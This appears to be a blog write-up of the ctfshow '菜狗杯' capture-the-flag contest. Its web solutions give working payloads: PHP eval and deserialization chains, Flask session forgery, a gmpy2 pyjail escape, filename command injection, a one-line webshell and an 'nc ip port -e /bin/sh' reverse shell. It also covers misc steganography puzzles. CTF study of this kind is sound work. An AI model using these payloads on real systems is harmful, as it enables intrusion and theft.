ctfshow【菜狗杯】

本文最后更新于:2023年8月25日 下午

[TOC]

web

web签到

1
2
3
4
5
6
<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

仔细观察题目,这题就是套娃,

首先我们需要传个cookie,名为 CTFshow-QQ群: 但是一直不起作用,

我们需要将它进行url编码,此处值为:a

$_POST[a]=b -> $_GET[b]=c ->

$_REQUEST[c][6][0][7][5][8][0][9][4][4]=system('ls');

注意:c应该传一个数组

web2 c0me_t0_s1gn

源码有前一半flag,控制台有另一半

我的眼里只有$

1
2
3
4
5
6
<?php

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

这是一个php变量覆盖题,要弄好多层,自己敲很麻烦,我们应该写个python脚本

总共36个$。这里有一个extract() 函数:

image-20230306112022365

这个函数可以将此处$_POST 数组中的键名赋值为变量,我们只需要在post中传参即可

1
2
3
4
5
6
7
8
9
10
11
12
13
import string

code = "assert($_GET[1]);"
s = string.ascii_letters # 获取所有大小写英文字母

post = "_=a&"

for i in range(34):
post += s[i] + "=" + s[i+1] + "&"

post += s[i+1] + "=" + code
print(post)

输出:

1
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=assert($_GET[1]);

我们只需要使用get传参,命令执行即可

抽老婆

打开页面发现一个下载的按钮,点击后可以下载图片

image-20230306113940399

url:

1
http://3cef0567-fe4d-413d-911e-ebf363d7fda8.challenge.ctf.show/download?file=0df74e7fc6614180ee892683f13d5abf.jpg

这里好像存在任意文件下载漏洞,我们随便输入一个路径:

image-20230306113847191

我们发现这个是 python的 flask框架,于是我们想要去读取 /app/app.py文件,

使用相对路径成功读取

image-20230306114101898

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():
return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)

分析一下,这题考点就是 flask session伪造 ,只需要把 session['isadmin'] 改为true即可。

但是session伪造需要key,这里也给出了:tanji_is_A_boy_Yooooooooooooooooooooo!

于是我们可以使用脚本伪造cookie:

image-20230306114542730

我们将 isadmin改为True,然后再加密:

image-20230306114941255

该一下session访问路径得到flag

一言既出

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}

很简单,payload:

1
?num=114514-114514+1919810  //注意+需要url编码为:%2B,否则会被解析为空格

这里考察php弱比较,以及 intval()函数

官方wp,由于这里使用 assert()函数,可以将字符串当作代码执行,所以我们可以去闭合括号:

1
?num=);%23               使用#注释掉后面

驷马难追

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}

function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

使用运算符绕过即可

TapTapTap

一个js小游戏题,直接找js源码:

image-20230306125703411

找到一串可疑代码,我们在控制台执行:

image-20230306125637870

该路径存在flag

Webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php 
error_reporting(0);

class Webshell {
public $cmd = 'echo "Hello World!"';

public function __construct() {
$this->init();
}

public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}

public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}

if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}

?>

一个简单的php反序列化

直接构造:

1
2
3
4
5
6
7
8
<?php
class Webshell {
public $cmd = "cat f*";
}
echo urlencode(serialize(new Webshell()));

输出:
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D

化零为整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}

if ($result ==="大牛"){
echo $flag;
}

这题的意思是我们get传参数据长度为1,并且拼接后得到 大牛

如何实现呢?我之前想到的是unicode编码之类的,但是此处可以使用url编码:

1
2
3
4
5
<?php
echo urlencode("大牛");

输出:
%E5%A4%A7%E7%89%9B

然后get传参:

1
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}

这题有bug,直接给0传参就行

无一幸免_FIXED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>

这一题难点在于绕过 $arr[]=1 这一个恒真条件,这条语句的意思是:在数组后面添加一个元素1

64位有符号数,能表示最大数为: 2^63-1 = 9223372036854775807

我们只需传入:

1
?0=9223372036854775807

即可,这样数组的下一个元素下表越界了,则条件 $arr[]=1 为假

传说之下(雾)

观察源码,找js代码

image-20230306161257156

发现创建了一个 Game对象,里面记录的 分数 score

观察游戏:

image-20230306161510984

只要得到2077分就可以拿flag,

于是我们在控制台输入: Game.score=2077

然后玩游戏吃一个果子就行

算力超群

我们对计算进行抓包

image-20230306162704519

发现该题使用 python flask框架 并且该处可能可以使用命令执行,

我们可以使用 os.system() 进行命令执行,但是 os 模块需要进行导入,我们没有导入,怎么办呢

我们可以使用 __import__() 函数 进行动态导入模块

import() 函数用于动态加载类和函数 。

如果一个模块经常变化就可以使用 import() 来动态载入。

我们可以使用:

1
__import__('os').system('')

进行命令执行

此处我们测试到 number2 位置可以插入代码

我们可以使用 nc 命令反弹shell

1
__import__('os').system('nc ip port -e /bin/sh')

然后在服务器指定端口进行监听:

1
nc -lvp 9996

image-20230306164640732

我们可以直接在服务器执行命令,查看flag

如图成功得到flag

算力升级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

这题好像是关于沙箱逃逸,我们先看一篇文章:[PyJail] python沙箱逃逸探究

我们仔细分析这一段代码:

1
2
3
4
5
6
7
8
9
pattern=re.compile(r'\w+')	
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})

这一段代码判断,首先把所有的字母、数字、下划线_ 拿出来(findall):单词,

如果单词不在gmpy2库中,则执行不了eval(),所以我们必须使用gmpy2库中的函数名来构造想要的代码。

dir()函数可以返回参数的属性以及函数列表。

例如,我们返回gmpy2 的列表:dir(gmpy2)

image-20230307114741408

根据分析,特殊字符可以随便使用,

我们需要使用图片中的函数名来构造payload。

观察可知,里面有:gmpy2__builtins__

**__builtins__**:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。

我们使用 gmpy2.__builtins__ 查看其中存在的属性、函数,返回的是字典:

image-20230307115516500

其中包含 eval() 函数,我们需要通过gmpy2中有的函数来构造 eval

经过观察,gmpy2中存在:invertfaclcm 等函数,我们可以通过对字符串中字符取值,拼接为eval

1
gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]](

然后我们需要编写脚本,通过gmpy2函数,构造出eval()函数中的代码:

1
__import__('os').popen('cat /flag').read()

这一句的意思是,导入os模块,使用os.popen() 去执行命令,然后读取出来

我们自己写个脚本进行构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
s = "__import__('os').popen('cat /flag').read()"

payload = "gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("

for i in s: # 遍历想执行的代码
if i in " '()/.": # 如果是这些字符,就直接相加(注意结尾的加号+)
payload += f"\"{i}\"+"
else: # 如果是字母,我们需要使用gmpy2函数进行构造
temp_str = ""
temp_index = -1
for j in dir(gmpy2): # 遍历gmpy2中的函数
if i in j: # 如果函数中存在该字母
temp_index = j.find(i) # 找到该字母下标
temp_str = j
payload += f"\"{temp_str}\"[{temp_index}]+"
# payload加上函数中指定下标,如 "invert"[3] 就是字母e,注意末尾加上加号+

payload = payload[:-1] + ")" # 将末尾+替换为空格
print(payload)

payload:

1
gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")

easyPytHon_P

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
源码在此:

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')

这题就是命令执行,但是我们不知道 subprocess.run() 是什么东西

其实就是执行命令的一个函数。

subprocess.run()

第一个args是最重要的,它就是要执行的命令。注意它必须是一个列表,里面的内容包括了命令和命令参数,比如:

1
subprocess.run(["ls", "-l", "/usr/bin"])

那么题中就是取cmd中前三个为命令,param为命令参数,__file__是当前文件路径(当param中传入的也是文件路径参数时,命令行会根据这两个路径参数分别执行成两条命令,输出两个结果);第二个cwd为当前工作路径,**os.getcwd()**就是返回进程的当前工作目录,timeout=5,就是超时时间最大设置为5s。

遍地飘零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
$$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}

没有零,仔细看看输入有什么问题吧array(0) { }

观察题目

我们需要将 $_GET 变量值赋值为 $flag

这样我们通过 var_dump() 就可以将 flag内容输出了

payload:

1
_GET=flag

茶歇区

image-20230306165435312

这一题是叫我们买东西得到 114514分以上就行,但是我们经过尝试,不能输入负值,然后没有什么思路了。

看了wp,考点是整形溢出

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

小舔田?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}

public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}

class Ion_Fan_Princess{
public $nickname="牛夫人";

public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}

public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}

if (isset($_GET['code'])){
unserialize($_GET['code']);

}else{
$a=new Ion_Fan_Princess();
echo $a;
}

简单反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class Moon{
public $name;
public function __construct() {
$this->name = new Ion_Fan_Princess();
}
}

class Ion_Fan_Princess{
public $nickname="小甜甜";
}

echo serialize(new Moon());

payload:
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

LSB探姬

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

突破点:

1
2
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()

这里可以进行 python 命令执行,只需要改一个文件名即可

1
filename="1;cat flag.py"

我们使用分号 ; 进行命令分隔,然后 cat即可

image-20230306173101904

Is_Not_Obfuscate

查看源码

image-20230306173407767

提示我们访问 robots.txt文件

image-20230306173829040

访问 /lib.php?flag=0 什么东西都没有,我们将 0 改为 1:

image-20230306173943135

发现一大堆编码

没有其他思路,我们继续查看首页:

image-20230306174236577

我们发现隐藏了一个 执行按钮,我们将value改为test,然后我们再将上述获得的编码放入input中:

image-20230306174540414

注意:需要将上述编码进行url编码一次,我们获得如下源码:

image-20230306174745354

我们主要关注这里:

image-20230306174848932

思路就是:我们将一句话木马push进去,之后使用pull拉取下来,进行命令执行

image-20230306180009955

image-20230306180042873

注意:要在命令后加入youyou 再进行md5编码:

image-20230306180125929

Misc

杂项签到

image-20230309195047150

直接使用010搜,得到flag

损坏的压缩包

image-20230309195537236

使用010打开,发现是png文件,于是将后缀改为png得到flag

谜之栅栏

下载得到【找不同】文件夹,包含两张图片,提示我们找不同,

于是我们使用010打开,然后比较两个文件的不同之处

image-20230309195624457

image-20230309195640959

然后点击差异部分:

image-20230309195723092

找到了不同的地方,发现存在一定规律,结合题目可知,这是栅栏密码

于是我们解密:
image-20230309195925281

你会数数吗

image-20230309200110554

文件中包含大量无规律字符,根据经验可知,这应该是根据频率来排序:

我们可以直接使用010的直方图功能来排序:

image-20230309200629065

然后根据百分比降序排列:

image-20230309200402076

得到flag

或者使用python脚本来统计:

1
2
3
4
5
6
7
8
9
10
11
12
f = open("C://Users/LIKE/Desktop/misc4", "r")
dic = {}
data = f.read()
for i in data:
if i in dic:
dic[i] += 1
else:
dic[i] = 1

data = sorted(dic.items(), key=lambda x: x[1], reverse=True) # 根据字典的值排序
for i in data:
print(i[0], end="")

你会异或吗

hint:神秘数字:0x50

根据题目,我们将png图片与数字 0x50 进行异或运算:

image-20230309202231508

image-20230309202249148

异或后得到真正的png图片,打开得到flag

flag一分为二

image-20230309202457748

我们将图片拖入010,发现crc不匹配,我们需要修改高度,可以手动修改,也可以借助脚本算出crc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import zlib
import struct

file = 'C://Users/LIKE/Desktop/miku.png'
fr = open(file, 'rb').read()
data = bytearray(fr[12:29])
# crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))

crc32key = 0x7507b944 # crc值

# data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x + 4] = width[x]
data[x + 8] = height[x]
# print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width, height)
print(data)
newpic = bytearray(fr)
for x in range(4):
newpic[x + 16] = width[x]
newpic[x + 20] = height[x]
# fw = open(file+'.png','wb')
fw = open(file, 'wb')
fw.write(newpic)
fw.close
print("It's done!")

修复得到一半flag:

image-20230309203206616

还有一半flag,是在图片中,但是看不到,知识点是盲水印

我们使用工具WaterMark 可以获得另一半

image-20230309203403778

我是谁??

这题用眼睛看,或者使用大神脚本

You and me

image-20230309204023798

下载后得到两张一摸一样的图片,盲猜使用了盲水印

我们可以使用脚本:BlindWaterMark

image-20230309204230822

然后得到flag:

image-20230309204304932

黑丝白丝还有什么丝?

题目提示:莫丝密码

点进去一个视频,因为提示摩斯密码,所以我们把黑丝当1,白丝当0,转场为分隔

使用莫斯解密

我吐了你随意

下载后得到一个【0宽隐写】文件,很明显使用:0宽解密

image-20230309204641030

这是个什么文件?

image-20230309205140753

zip伪加密,将位置上的数改为00

image-20230309205223909

打开这个文件,发现了一串乱码,后缀py,可能需要:python反编译

image-20230309205349044

反编译之后我们只需要执行代码就行

image-20230309205437730

抽象画

image-20230309205543022

下载后得到一个txt文件,打开发现疑似base编码,但是我们不知道是哪一类,于是我们可以使用一个

工具:basecrack

我们先将编码保存到1.txt,然后使用如下代码:

1
python3 basecrack -f 1.txt  # -f代表从文件中读取

image-20230309205949176

如图,已经成功解了一次,我们继续:

image-20230309210040545

最后一次:

image-20230309210131944

解出来,发现是png图片,我们保存一下,打开:

image-20230309210236136

不知道一坨什么玩意儿

查询资料得知,这是一种奇葩编程语言,Piet是用颜色来编写代码,我们可以使用 npiet 解密

image-20230309210645860

迅疾响应

image-20230309210840932

下载 后得到一张二维码,但是扫不了,看了wp后,使用一个网站:https://merricx.github.io/qrazybox/

image-20230309210935661

首先导入一个图片

image-20230309211020078

然后点击 tools,再分离信息

image-20230309211045091

得到一半flag

image-20230309211119337

还有一半,将选中区域涂白

image-20230309211357908

然后再分离信息,得到flag

我可没有骗你

image-20230309211531561

爆破得到压缩包密码(8位)

得到一个文件,使用010打开:

image-20230309212326682

发现是一个 wav 文件,我们使用 SilentEye 进行解密:

image-20230309212554859

我们需要将 Sound quality 换为 high

你被骗了

image-20230309212735630

这里有一个虚假的flag

这里是mp3隐写,我们使用工具 MP3Stego

但是解密需要密码,密码就是:nibeipianle

image-20230309213128985

打开txt文件获得flag

一闪一闪亮晶晶

压缩包有两个文件,其中一个是一个码,但不是二维码:

image-20230309213501345

这个是:汉信码

我们扫一下:

image-20230309213618786

得到压缩包密码:CDBHSBHSxskv6

解压 m4a 文件,听一下像外星录音,于是我们需要使用 RXSSTV 进行识别,需要安装虚拟声卡

听一下就得到flag

image-20230309214208678

打不开的图片

联想到png文件开头应该是89 50 4E 47,观察下题目给的png的开头是77 B0 B2 B9,会发现0x89+0x77=0x100, 0x50+0xB0=0x100, 0x4E+0xB2=0x100, 0x47+0xB9=0x100, 所以,只要用0x100减去现在png文件中的每个字节的16进制数即可恢复出可以预览的png图片。
但是要注意这里还有一个小坑,就是0x100是十进制数的256,而bytes格式最大只能表示到255,出现256会报错,所以题目原png文件中是0的位置,还是0,不能用0x100去减。
具体可以写Python脚本来做,而且做这道题的过程中,解决了上次做异或题目(也是菜狗杯的Misc题目之前写了博客)遇到的问题,其实就是把整个文件处理后的结果(int类型)放在list中,再把整个list放在bytes()中即可转换成bytes格式写入新的文件中,得到恢复的文件。

1
2
3
4
5
6
7
8
9
10
11
ff=open('./misc5.5.png','rb')
data=ff.read()
l=[]
for dd in data:
if dd==0:
l.append(dd)
else:
l.append(0x100-dd)
ff=open('./1234.png','wb') #会新建一个可写入的新文件1234.png
ff.write(bytes(l))
ff.close()

ctfshow【菜狗杯】
https://leekosss.github.io/2023/08/24/ctfshow[菜狗杯]/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议